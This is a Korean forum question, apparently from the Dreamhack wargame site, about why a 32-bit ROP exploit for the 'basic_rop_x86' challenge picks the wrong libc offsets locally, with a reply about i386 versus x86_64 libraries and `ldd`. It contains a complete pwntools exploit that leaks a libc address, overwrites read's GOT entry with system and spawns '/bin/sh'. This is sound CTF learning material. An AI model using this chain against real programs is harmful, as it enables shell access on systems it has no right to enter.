64bit vs 32bit 참조하는 라이브러리가 다른가요??
64bit 풀 때와 같은 방법으로 system 함수 offset을 구했는데 32bit에서는 system 부르라니까 엉뚱한 곳으로 가네요. 근데 서버에 연결해서 libc = ELF("libc.so.6")넣었을 때는 정상 작동합니다. 로컬에서만 이상한 곳으로 넘어가요. 아무래도 함수 offset 계산하는 곳이 문제인 것 같습니다.
- 32bit 64bit 프로그램 따라 참조하는 라이브러리가 다를 수 있나요?
- 그 프로그램이 참조하고 있는 라이브러리 버전을 확인할 방법이 있나요?
아래는 제 소스 코드입니다.
from pwn import *
context.log_level = 'debug'
e=ELF("./basic_rop_x86")
p=process("./basic_rop_x86")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.31.so")
#p=remote("host3.dreamhack.games", 9643)
#libc = ELF("libc.so.6")
pause()
write_plt=e.plt["write"]
read_plt=e.plt["read"]
read_got=e.got["read"]
ret=0x080483c2
pop3=0x08048689
pl=b''
pl+=b'A'*0x48
#write(1,read_got,0x4)
pl+=p32(write_plt)
pl+=p32(pop3)
pl+=p32(1)
pl+=p32(read_got)
pl+=p32(0x4)
#read(0,read_got,0x4+0x8)
pl+=p32(read_plt)
pl+=p32(pop3)
pl+=p32(0)
pl+=p32(read_got)
pl+=p32(0x4+0x8)
#read(/bin/sh)
pl+=p32(read_plt)
pl+=p32(0)
pl+=p32(read_got+0x4)
p.send(pl)
p.recv(0x40)
read = u32(p.recv(4))
print("read: ",hex(read))
print("basslib: ",hex(read-libc.symbols['read']))
print("system: ",hex(read-libc.symbols['read']+libc.symbols['system']))
p.send(p32(read-libc.symbols['read']+libc.symbols['system'])+b'/bin/sh\x00')
p.interactive()
#pwnable
작성자 정보
답변
1
wyv3rn
무플 방지 위원회장
- 넵 다릅니다. 보통은 64비트는 x86_64를, 32비트는 i386을 참조합니다
- 메모리 릭이 별도로 필요합니다. 이 또한 취약점의 일종을 이용한 방식입니다. (앞서 배우신 카나리처럼요!)
-로컬에서는 그냥
ldd 파일명
으로 확인 가능합니다